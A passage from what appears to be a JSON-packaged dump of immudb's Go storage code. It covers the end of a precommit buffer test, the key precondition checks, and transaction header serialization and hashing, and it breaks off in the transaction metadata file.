ErrNotEnoughData)\n\n\tfor i := 0; i < size; i++ {\n\t\terr := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10)\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, _, _, _, err = b.readAhead(-1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = b.put(0, sha256.Sum256(nil), 0, 0)\n\trequire.ErrorIs(t, err, ErrBufferIsFull)\n\n\t_, _, _, _, err = b.readAhead(size + 1)\n\trequire.ErrorIs(t, err, ErrNotEnoughData)\n\n\t// reading ahead should not consume entries\n\tfor it := 0; it < 2; it++ {\n\t\tfor i := 0; i < size; i++ {\n\t\t\ttxID, alh, txOff, txSize, err := b.readAhead(i)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, uint64(i), txID)\n\t\t\trequire.Equal(t, sha256.Sum256([]byte{byte(i)}), alh)\n\t\t\trequire.Equal(t, int64(i*100), txOff)\n\t\t\trequire.Equal(t, i*10, txSize)\n\t\t}\n\t}\n\n\terr = b.advanceReader(-1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = b.advanceReader(0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = b.advanceReader(size + 1)\n\trequire.ErrorIs(t, err, ErrNotEnoughData)\n\n\t// advance reader should consume entries\n\tfor i := 0; i < size; i++ {\n\t\ttxID, alh, txOff, txSize, err := b.readAhead(0)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i), txID)\n\t\trequire.Equal(t, sha256.Sum256([]byte{byte(i)}), alh)\n\t\trequire.Equal(t, int64(i*100), txOff)\n\t\trequire.Equal(t, i*10, txSize)\n\n\t\terr = b.advanceReader(1)\n\t\trequire.NoError(t, err)\n\t}\n\n\t_, _, _, _, err = b.readAhead(0)\n\trequire.ErrorIs(t, err, ErrNotEnoughData)\n\n\tfor i := 0; i < size; i++ {\n\t\terr := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10)\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = b.put(0, sha256.Sum256([]byte{byte(0)}), 0, 0)\n\trequire.ErrorIs(t, err, ErrBufferIsFull)\n}\n\nfunc TestPrecommitBufferRecedeWriter(t *testing.T) {\n\tsize := 256\n\tb := newPrecommitBuffer(size)\n\n\terr := b.recedeWriter(-1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = b.recedeWriter(0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = b.recedeWriter(1)\n\trequire.ErrorIs(t, err, ErrNotEnoughData)\n\n\tfor i := 0; i < size; i++ {\n\t\terr := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10)\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = b.recedeWriter(size + 1)\n\trequire.ErrorIs(t, err, ErrNotEnoughData)\n\n\terr = b.recedeWriter(size / 2)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, size/2, b.freeSlots())\n\n\tfor i := size / 2; i < size; i++ {\n\t\terr := b.put(uint64(i), sha256.Sum256([]byte{byte(i)}), int64(i*100), i*10)\n\t\trequire.NoError(t, err)\n\t}\n\n\terr = b.recedeWriter(size - 1)\n\trequire.NoError(t, err)\n\n\ttxID, alh, txOff, txSize, err := b.readAhead(0)\n\trequire.NoError(t, err)\n\trequire.Zero(t, uint64(0), txID)\n\trequire.Equal(t, sha256.Sum256([]byte{byte(0)}), alh)\n\trequire.Equal(t, int64(0), txOff)\n\trequire.Equal(t, 0, txSize)\n\n\trequire.Equal(t, size-1, b.freeSlots())\n\n\terr = b.recedeWriter(1)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, size, b.freeSlots())\n}\n"
  },
  {
    "path": "embedded/store/preconditions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n)\n\ntype Precondition interface {\n\tString() string\n\n\t// Validate performs initial validation check to discard invalid preconditions before even executing them\n\tValidate(st *ImmuStore) error\n\n\t// Check performs the validation on a current state of the database\n\tCheck(ctx context.Context, idx KeyIndex) (bool, error)\n}\n\ntype PreconditionKeyMustExist struct {\n\tKey []byte\n}\n\nfunc (cs *PreconditionKeyMustExist) String() string { return \"KeyMustExist\" }\n\nfunc (cs *PreconditionKeyMustExist) Validate(st *ImmuStore) error {\n\tif len(cs.Key) == 0 {\n\t\treturn ErrInvalidPreconditionNullKey\n\t}\n\n\tif len(cs.Key) > st.maxKeyLen {\n\t\treturn ErrInvalidPreconditionMaxKeyLenExceeded\n\t}\n\n\treturn nil\n}\n\nfunc (cs *PreconditionKeyMustExist) Check(ctx context.Context, idx KeyIndex) (bool, error) {\n\t_, err := idx.Get(ctx, cs.Key)\n\tif err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) {\n\t\treturn false, err\n\t}\n\n\treturn err == nil, nil\n}\n\ntype PreconditionKeyMustNotExist struct {\n\tKey []byte\n}\n\nfunc (cs *PreconditionKeyMustNotExist) String() string { return \"KeyMustNotExist\" }\n\nfunc (cs *PreconditionKeyMustNotExist) Validate(st *ImmuStore) error {\n\tif len(cs.Key) == 0 {\n\t\treturn ErrInvalidPreconditionNullKey\n\t}\n\n\tif len(cs.Key) > st.maxKeyLen {\n\t\treturn ErrInvalidPreconditionMaxKeyLenExceeded\n\t}\n\n\treturn nil\n}\n\nfunc (cs *PreconditionKeyMustNotExist) Check(ctx context.Context, idx KeyIndex) (bool, error) {\n\t_, err := idx.Get(ctx, cs.Key)\n\tif err != nil && !errors.Is(err, tbtree.ErrKeyNotFound) {\n\t\treturn false, err\n\t}\n\n\treturn err != nil, nil\n}\n\ntype PreconditionKeyNotModifiedAfterTx struct {\n\tKey  []byte\n\tTxID uint64\n}\n\nfunc (cs *PreconditionKeyNotModifiedAfterTx) String() string { return \"KeyNotModifiedAfterTxID\" }\n\nfunc (cs *PreconditionKeyNotModifiedAfterTx) Validate(st *ImmuStore) error {\n\tif len(cs.Key) == 0 {\n\t\treturn ErrInvalidPreconditionNullKey\n\t}\n\n\tif len(cs.Key) > st.maxKeyLen {\n\t\treturn ErrInvalidPreconditionMaxKeyLenExceeded\n\t}\n\n\tif cs.TxID == 0 {\n\t\treturn ErrInvalidPreconditionInvalidTxID\n\t}\n\n\treturn nil\n}\n\nfunc (cs *PreconditionKeyNotModifiedAfterTx) Check(ctx context.Context, idx KeyIndex) (bool, error) {\n\t// get the latest entry (it could be deleted or even expired)\n\tvalRef, err := idx.GetWithFilters(ctx, cs.Key)\n\tif err != nil && errors.Is(err, ErrKeyNotFound) {\n\t\t// key does not exist thus not modified at all\n\t\treturn true, nil\n\t}\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn valRef.Tx() <= cs.TxID, nil\n}\n"
  },
  {
    "path": "embedded/store/tx.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n)\n\ntype Tx struct {\n\theader *TxHeader\n\n\tentries []*TxEntry\n\n\thtree *htree.HTree\n}\n\ntype TxHeader struct {\n\tID      uint64\n\tTs      int64\n\tBlTxID  uint64\n\tBlRoot  [sha256.Size]byte\n\tPrevAlh [sha256.Size]byte\n\n\tVersion int\n\n\tMetadata *TxMetadata\n\n\tNEntries int\n\tEh       [sha256.Size]byte\n}\n\nfunc NewTx(nentries int, maxKeyLen int) *Tx {\n\tentries := make([]*TxEntry, nentries)\n\n\tkeyBuffer := make([]byte, maxKeyLen*nentries)\n\tentriesBuffer := make([]TxEntry, nentries)\n\tfor i := 0; i < nentries; i++ {\n\t\tentries[i] = &entriesBuffer[i]\n\t\tentries[i].k = keyBuffer[:maxKeyLen]\n\t\tkeyBuffer = keyBuffer[maxKeyLen:]\n\t}\n\n\theader := &TxHeader{NEntries: len(entries)}\n\n\treturn NewTxWithEntries(header, entries)\n}\n\nfunc NewTxWithEntries(header *TxHeader, entries []*TxEntry) *Tx {\n\thtree, _ := htree.New(len(entries))\n\n\treturn &Tx{\n\t\theader:  header,\n\t\tentries: entries,\n\t\thtree:   htree,\n\t}\n}\n\nfunc (tx *Tx) Header() *TxHeader {\n\tvar txmd *TxMetadata\n\n\tif tx.header.Metadata == nil {\n\t\ttxmd = NewTxMetadata()\n\t} else {\n\t\ttxmd = tx.header.Metadata\n\t}\n\treturn &TxHeader{\n\t\tID:      tx.header.ID,\n\t\tTs:      tx.header.Ts,\n\t\tBlTxID:  tx.header.BlTxID,\n\t\tBlRoot:  tx.header.BlRoot,\n\t\tPrevAlh: tx.header.PrevAlh,\n\n\t\tVersion: tx.header.Version,\n\n\t\tMetadata: txmd,\n\n\t\tNEntries: tx.header.NEntries,\n\t\tEh:       tx.header.Eh,\n\t}\n}\n\nfunc (hdr *TxHeader) Bytes() ([]byte, error) {\n\t// ID + PrevAlh + Ts + Version + MDLen + MD + NEntries + Eh + BlTxID + BlRoot\n\tvar b [txIDSize + sha256.Size + tsSize + sszSize + (sszSize + maxTxMetadataLen) + lszSize + sha256.Size + txIDSize + sha256.Size]byte\n\ti := 0\n\n\tbinary.BigEndian.PutUint64(b[i:], hdr.ID)\n\ti += txIDSize\n\n\tcopy(b[i:], hdr.PrevAlh[:])\n\ti += sha256.Size\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(hdr.Ts))\n\ti += tsSize\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(hdr.Version))\n\ti += sszSize\n\n\tswitch hdr.Version {\n\tcase 0:\n\t\t{\n\t\t\tif hdr.Metadata != nil && len(hdr.Metadata.Bytes()) > 0 {\n\t\t\t\treturn nil, ErrMetadataUnsupported\n\t\t\t}\n\n\t\t\tbinary.BigEndian.PutUint16(b[i:], uint16(hdr.NEntries))\n\t\t\ti += sszSize\n\t\t}\n\tcase 1:\n\t\t{\n\t\t\tvar mdbs []byte\n\n\t\t\tif hdr.Metadata != nil {\n\t\t\t\tmdbs = hdr.Metadata.Bytes()\n\t\t\t}\n\n\t\t\tbinary.BigEndian.PutUint16(b[i:], uint16(len(mdbs)))\n\t\t\ti += sszSize\n\n\t\t\tcopy(b[i:], mdbs)\n\t\t\ti += len(mdbs)\n\n\t\t\tbinary.BigEndian.PutUint32(b[i:], uint32(hdr.NEntries))\n\t\t\ti += lszSize\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn nil, fmt.Errorf(\"%w for version %d\", ErrUnsupportedTxHeaderVersion, hdr.Version)\n\t\t}\n\t}\n\n\t// following records are currently common in versions 0 and 1\n\tcopy(b[i:], hdr.Eh[:])\n\ti += sha256.Size\n\n\tbinary.BigEndian.PutUint64(b[i:], hdr.BlTxID)\n\ti += txIDSize\n\n\tcopy(b[i:], hdr.BlRoot[:])\n\ti += sha256.Size\n\n\treturn b[:i], nil\n}\n\nfunc (hdr *TxHeader) ReadFrom(b []byte) error {\n\t// Minimum length with version record\n\tif len(b) < txIDSize+sha256.Size+tsSize+2*sszSize+sha256.Size+txIDSize+sha256.Size {\n\t\treturn ErrIllegalArguments\n\t}\n\n\ti := 0\n\n\thdr.ID = binary.BigEndian.Uint64(b[i:])\n\ti += txIDSize\n\n\tif hdr.ID < 1 {\n\t\treturn fmt.Errorf(\"%w: invalid tx ID\", ErrIllegalArguments)\n\t}\n\n\tcopy(hdr.PrevAlh[:], b[i:])\n\ti += sha256.Size\n\n\thdr.Ts = int64(binary.BigEndian.Uint64(b[i:]))\n\ti += tsSize\n\n\thdr.Version = int(binary.BigEndian.Uint16(b[i:]))\n\ti += sszSize\n\n\tswitch hdr.Version {\n\tcase 0:\n\t\t{\n\n\t\t\thdr.NEntries = int(binary.BigEndian.Uint16(b[i:]))\n\t\t\ti += sszSize\n\t\t}\n\tcase 1:\n\t\t{\n\t\t\t// version includes metadata record and a greater max number of entries\n\n\t\t\tmdLen := int(binary.BigEndian.Uint16(b[i:]))\n\t\t\ti += sszSize\n\n\t\t\t// nentries follows metadata\n\t\t\tif len(b) < i+mdLen+lszSize || mdLen > maxTxMetadataLen {\n\t\t\t\treturn ErrCorruptedData\n\t\t\t}\n\n\t\t\tif mdLen > 0 {\n\t\t\t\thdr.Metadata = NewTxMetadata()\n\n\t\t\t\terr := hdr.Metadata.ReadFrom(b[i : i+mdLen])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ti += mdLen\n\t\t\t}\n\n\t\t\thdr.NEntries = int(binary.BigEndian.Uint32(b[i:]))\n\t\t\ti += lszSize\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn ErrNewerVersionOrCorruptedData\n\t\t}\n\t}\n\n\tif hdr.NEntries < 1 {\n\t\treturn fmt.Errorf(\"%w: invalid number of entries\", ErrIllegalArguments)\n\t}\n\n\t// following records are currently common in versions 0 and 1\n\tcopy(hdr.Eh[:], b[i:])\n\ti += sha256.Size\n\n\thdr.BlTxID = binary.BigEndian.Uint64(b[i:])\n\ti += txIDSize\n\n\tif hdr.BlTxID >= hdr.ID {\n\t\treturn fmt.Errorf(\"%w: invalid BlTxID\", ErrIllegalArguments)\n\t}\n\n\tcopy(hdr.BlRoot[:], b[i:])\n\ti += sha256.Size\n\n\treturn nil\n}\n\nfunc (hdr *TxHeader) innerHash() [sha256.Size]byte {\n\t// ts + version + (mdLen + md)? + nentries + eH + blTxID + blRoot\n\tvar b [tsSize + sszSize + (sszSize + maxTxMetadataLen) + lszSize + sha256.Size + txIDSize + sha256.Size]byte\n\ti := 0\n\n\tbinary.BigEndian.PutUint64(b[i:], uint64(hdr.Ts))\n\ti += tsSize\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(hdr.Version))\n\ti += sszSize\n\n\tswitch hdr.Version {\n\tcase 0:\n\t\t{\n\t\t\tbinary.BigEndian.PutUint16(b[i:], uint16(hdr.NEntries))\n\t\t\ti += sszSize\n\t\t}\n\tcase 1:\n\t\t{\n\t\t\tvar mdbs []byte\n\n\t\t\tif hdr.Metadata != nil {\n\t\t\t\tmdbs = hdr.Metadata.Bytes()\n\t\t\t}\n\n\t\t\tbinary.BigEndian.PutUint16(b[i:], uint16(len(mdbs)))\n\t\t\ti += sszSize\n\n\t\t\tcopy(b[i:], mdbs)\n\t\t\ti += len(mdbs)\n\n\t\t\tbinary.BigEndian.PutUint32(b[i:], uint32(hdr.NEntries))\n\t\t\ti += lszSize\n\t\t}\n\tdefault:\n\t\t{\n\t\t\tpanic(fmt.Errorf(\"missing tx hash calculation method for version %d\", hdr.Version))\n\t\t}\n\t}\n\n\t// following records are currently common in versions 0 and 1\n\n\tcopy(b[i:], hdr.Eh[:])\n\ti += sha256.Size\n\n\tbinary.BigEndian.PutUint64(b[i:], hdr.BlTxID)\n\ti += txIDSize\n\n\tcopy(b[i:], hdr.BlRoot[:])\n\ti += sha256.Size\n\n\t// hash(ts + version + (mdLen + md) + nentries + eH + blTxID + blRoot)\n\treturn sha256.Sum256(b[:i])\n}\n\n// Alh calculates the Accumulative Linear Hash up to this transaction\n// Alh is calculated as hash(txID + prevAlh + hash(ts + nentries + eH + blTxID + blRoot))\n// Inner hash is calculated so to reduce the length of linear proofs\nfunc (hdr *TxHeader) Alh() [sha256.Size]byte {\n\t// txID + prevAlh + innerHash\n\tvar bi [txIDSize + 2*sha256.Size]byte\n\tbinary.BigEndian.PutUint64(bi[:], hdr.ID)\n\tcopy(bi[txIDSize:], hdr.PrevAlh[:])\n\n\t// hash(ts + version + (mdLen + md)? + nentries + eH + blTxID + blRoot)\n\tinnerHash := hdr.innerHash()\n\tcopy(bi[txIDSize+sha256.Size:], innerHash[:])\n\n\t// hash(txID + prevAlh + innerHash)\n\treturn sha256.Sum256(bi[:])\n}\n\nfunc (hdr *TxHeader) TxEntryDigest() (TxEntryDigest, error) {\n\tswitch hdr.Version {\n\tcase 0:\n\t\treturn TxEntryDigest_v1_1, nil\n\tcase 1:\n\t\treturn TxEntryDigest_v1_2, nil\n\t}\n\n\treturn nil, ErrCorruptedTxDataUnknownHeaderVersion\n}\n\nfunc (tx *Tx) BuildHashTree() error {\n\tdigests := make([][sha256.Size]byte, tx.header.NEntries)\n\n\ttxEntryDigest, err := tx.header.TxEntryDigest()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor i, e := range tx.Entries() {\n\t\tdigests[i], err = txEntryDigest(e)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr = tx.htree.BuildWith(digests)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttx.header.Eh = tx.htree.Root()\n\n\treturn nil\n}\n\nfunc (tx *Tx) Entries() []*TxEntry {\n\treturn tx.entries[:tx.header.NEntries]\n}\n\nfunc (tx *Tx) IndexOf(key []byte) (int, error) {\n\tfor i, e := range tx.Entries() {\n\t\tif bytes.Equal(e.key(), key) {\n\t\t\treturn i, nil\n\t\t}\n\t}\n\treturn 0, ErrKeyNotFound\n}\n\nfunc (tx *Tx) EntryOf(key []byte) (*TxEntry, error) {\n\tfor _, e := range tx.Entries() {\n\t\tif bytes.Equal(e.key(), key) {\n\t\t\treturn e, nil\n\t\t}\n\t}\n\treturn nil, ErrKeyNotFound\n}\n\nfunc (tx *Tx) Proof(key []byte) (*htree.InclusionProof, error) {\n\tkindex, err := tx.IndexOf(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn tx.htree.InclusionProof(kindex)\n}\n\nfunc (tx *Tx) readFrom(r *appendable.Reader, skipIntegrityCheck bool) error {\n\ttdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck}\n\n\theader, err := tdr.readHeader(len(tx.entries))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttx.header = header\n\n\tfor i := 0; i < header.NEntries; i++ {\n\t\terr = tdr.readEntry(tx.entries[i])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr = tdr.buildAndValidateHtree(tx.htree)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\ntype txDataReader struct {\n\tr                  *appendable.Reader\n\th                  *TxHeader\n\tdigests            [][sha256.Size]byte\n\tdigestFunc         TxEntryDigest\n\tskipIntegrityCheck bool\n}\n\nfunc (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) {\n\theader := &TxHeader{}\n\n\tid, err := t.r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif id == 0 {\n\t\t// underlying file may be preallocated\n\t\treturn nil, io.EOF\n\t}\n\n\theader.ID = id\n\n\tts, err := t.r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\theader.Ts = int64(ts)\n\n\tblTxID, err := t.r.ReadUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\theader.BlTxID = blTxID\n\n\t_, err = t.r.Read(header.BlRoot[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = t.r.Read(header.PrevAlh[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tversion, err := t.r.ReadUint16()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\theader.Version = int(version)\n\n\tswitch header.Version {\n\tcase 0:\n\t\t{\n\t\t\tnentries, err := t.r.ReadUint16()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\theader.NEntries = int(nentries)\n\t\t}\n\tcase 1:\n\t\t{\n\t\t\tmdLen, err := t.r.ReadUint16()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tif mdLen > maxTxMetadataLen {\n\t\t\t\treturn nil, ErrCorruptedData\n\t\t\t}\n\n\t\t\tvar txmd *TxMetadata\n\n\t\t\tif mdLen > 0 {\n\t\t\t\tvar mdBs [maxTxMetadataLen]byte\n\n\t\t\t\t_, err = t.r.Read(mdBs[:mdLen])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\ttxmd = NewTxMetadata()\n\n\t\t\t\terr = txmd.ReadFrom(mdBs[:mdLen])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\theader.Metadata = txmd\n\n\t\t\tnentries, err := t.r.ReadUint32()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\theader.NEntries = int(nentries)\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn nil, fmt.Errorf(\"%w %d\", ErrCorruptedTxDataUnknownHeaderVersion, header.Version)\n\t\t}\n\t}\n\n\tif header.NEntries > maxEntries {\n\t\treturn nil, ErrCorruptedTxDataMaxTxEntriesExceeded\n\t}\n\n\tt.h = header\n\n\tif !t.skipIntegrityCheck {\n\t\tt.digestFunc, err = header.TxEntryDigest()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tt.digests = make([][sha256.Size]byte, 0, header.NEntries)\n\t}\n\n\treturn header, nil\n}\n\nfunc (t *txDataReader) readEntry(entry *TxEntry) error {\n\t// md is stored before key to ensure backward compatibility\n\tmdLen, err := t.r.ReadUint16()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar kvmd *KVMetadata\n\n\tif mdLen > 0 {\n\t\tmdbs := make([]byte, mdLen)\n\n\t\t_, err = t.r.Read(mdbs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tkvmd = newReadOnlyKVMetadata()\n\n\t\terr = kvmd.unsafeReadFrom(mdbs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tentry.md = kvmd\n\n\tkLen, err := t.r.ReadUint16()\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry.kLen = int(kLen)\n\n\tif entry.kLen > len(entry.k) {\n\t\treturn ErrCorruptedTxDataMaxKeyLenExceeded\n\t}\n\n\t_, err = t.r.Read(entry.k[:kLen])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvLen, err := t.r.ReadUint32()\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry.vLen = int(vLen)\n\n\tvOff, err := t.r.ReadUint64()\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry.vOff = int64(vOff)\n\n\t_, err = t.r.Read(entry.hVal[:])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tentry.readonly = true\n\n\tif !t.skipIntegrityCheck {\n\t\tdigest, err := t.digestFunc(entry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tt.digests = append(t.digests, digest)\n\t}\n\n\treturn nil\n}\n\nfunc (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error {\n\t// it's better to consume alh from appendable even if it's not validated\n\t// as seuqential tx reading can be done\n\tvar alh [sha256.Size]byte\n\t_, err := t.r.Read(alh[:])\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif t.skipIntegrityCheck {\n\t\treturn nil\n\t}\n\n\terr = htree.BuildWith(t.digests)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tt.h.Eh = htree.Root()\n\n\tif t.h.Alh() != alh {\n\t\treturn fmt.Errorf(\"%w: ALH mismatch at tx %d\", ErrCorruptedTxData, t.h.ID)\n\t}\n\n\treturn nil\n}\n\ntype TxEntry struct {\n\tk        []byte\n\tkLen     int\n\tmd       *KVMetadata\n\tvLen     int\n\thVal     [sha256.Size]byte\n\tvOff     int64\n\treadonly bool\n}\n\nfunc NewTxEntry(key []byte, md *KVMetadata, vLen int, hVal [sha256.Size]byte, vOff int64) *TxEntry {\n\te := &TxEntry{\n\t\tk:    make([]byte, len(key)),\n\t\tkLen: len(key),\n\t\tmd:   md,\n\t\tvLen: vLen,\n\t\thVal: hVal,\n\t\tvOff: vOff,\n\t}\n\n\tcopy(e.k, key)\n\n\treturn e\n}\n\nfunc (e *TxEntry) setKey(key []byte) {\n\te.kLen = len(key)\n\tcopy(e.k, key)\n}\n\nfunc (e *TxEntry) key() []byte {\n\treturn e.k[:e.kLen]\n}\n\nfunc (e *TxEntry) Key() []byte {\n\tk := make([]byte, e.kLen)\n\tcopy(k, e.k[:e.kLen])\n\treturn k\n}\n\nfunc (e *TxEntry) Metadata() *KVMetadata {\n\treturn e.md\n}\n\nfunc (e *TxEntry) HVal() [sha256.Size]byte {\n\treturn e.hVal\n}\n\nfunc (e *TxEntry) VOff() int64 {\n\treturn e.vOff\n}\n\nfunc (e *TxEntry) VLen() int {\n\treturn e.vLen\n}\n\ntype TxEntryDigest func(e *TxEntry) ([sha256.Size]byte, error)\n\nfunc TxEntryDigest_v1_1(e *TxEntry) ([sha256.Size]byte, error) {\n\tif e.md != nil && len(e.md.Bytes()) > 0 {\n\t\treturn [sha256.Size]byte{}, ErrMetadataUnsupported\n\t}\n\n\tb := make([]byte, e.kLen+sha256.Size)\n\n\tcopy(b[:], e.k[:e.kLen])\n\tcopy(b[e.kLen:], e.hVal[:])\n\n\treturn sha256.Sum256(b), nil\n}\n\nfunc TxEntryDigest_v1_2(e *TxEntry) ([sha256.Size]byte, error) {\n\tvar mdbs []byte\n\n\tif e.md != nil {\n\t\tmdbs = e.md.Bytes()\n\t}\n\n\tmdLen := len(mdbs)\n\n\tb := make([]byte, sszSize+mdLen+sszSize+e.kLen+sha256.Size)\n\ti := 0\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(mdLen))\n\ti += sszSize\n\n\tcopy(b[i:], mdbs)\n\ti += mdLen\n\n\tbinary.BigEndian.PutUint16(b[i:], uint16(e.kLen))\n\ti += sszSize\n\n\tcopy(b[i:], e.k[:e.kLen])\n\ti += e.kLen\n\n\tcopy(b[i:], e.hVal[:])\n\ti += sha256.Size\n\n\treturn sha256.Sum256(b[:i]), nil\n}\n"
  },
  {
    "path": "embedded/store/tx_metadata.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n)\n\n// attributeCode is used to identify the attribute.\nconst (\n\ttruncatedUptoTxAttrCode attributeCode = 0\n\textraAttrCode           attributeCode = 1\n)\n\n// attribute size is the size of the attribute in bytes.\nconst (\n\ttruncatedUptoTxAttrSize = txIDSize\n)\n\nconst maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) +\n\t(attrCodeSize + sszSize + maxExtraLen)\n\nconst maxExtraLen = 256\n\n// truncatedUptoTxAttribute is used to identify that the transaction\n// stores the information up to which given transaction ID the\n// database was truncated.\ntype truncatedUptoTxAttribute struct {\n\ttxID uint64\n}\n\n// code returns the attribute code.\nfunc (a *truncatedUptoTxAttribute) code() attributeCode {\n\treturn truncatedUptoTxAttrCode\n}\n\n// serialize returns the serialized attribute.\nfunc (a *truncatedUptoTxAttribute) serialize() []byte {\n\tvar b [txIDSize]byte\n\tbinary.BigEndian.PutUint64(b[:], a.txID)\n\treturn b[:]\n}\n\n// deserialize deserializes the attribute.\nfunc (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) {\n\tif len(b) < txIDSize {\n\t\treturn 0, ErrCorruptedData\n\t}\n\n\ta.txID = binary.BigEndian.Uint64(b)\n\treturn txIDSize, nil\n}\n\ntype extraAttribute struct {\n\textra []byte\n}\n\n// code returns the attribute code.\nfunc (a *extraAttribute) code() attributeCode {\n\treturn extraAttrCode\n}\n\n// serialize returns the serialized attribute.\nfunc (a *extraAttribute) serialize() []byte {\n\tvar b [sszSize + maxExtraLen]byte\n\n\tbinary.BigEndian.PutUint16(b[:], uint16(len(a.extra)))\n\tcopy(b[sszSize:], a.extra)\n\n\treturn b[:sszSize+len(a.extra)]\n}\n\n// deserialize deserializes the attribute.\nfunc (a *extraAttribute) deserialize(b []byte) (int, error) {\n\tif len(b) < sszSize {\n\t\treturn 0, ErrCorruptedData\n\t}\n\n\ta.extra = make([]byte, binary.BigEndian.Uint16(b))\n\tcopy(a.extra, b[sszSize:])\n\n\treturn sszSize + len(a.extra), nil\n}\n\nfunc getAttributeFrom(attrCode attributeCode) (attribute, error) {\n\tswitch attrCode {\n\tcase truncatedUptoTxAttrCode:\n\t\t{\n\t\t\treturn &truncatedUptoTxAttribute{}, nil\n\t\t}\n\tcase extraAttrCode:\n\t\t{\n\t\t\treturn &extraAttribute{}, 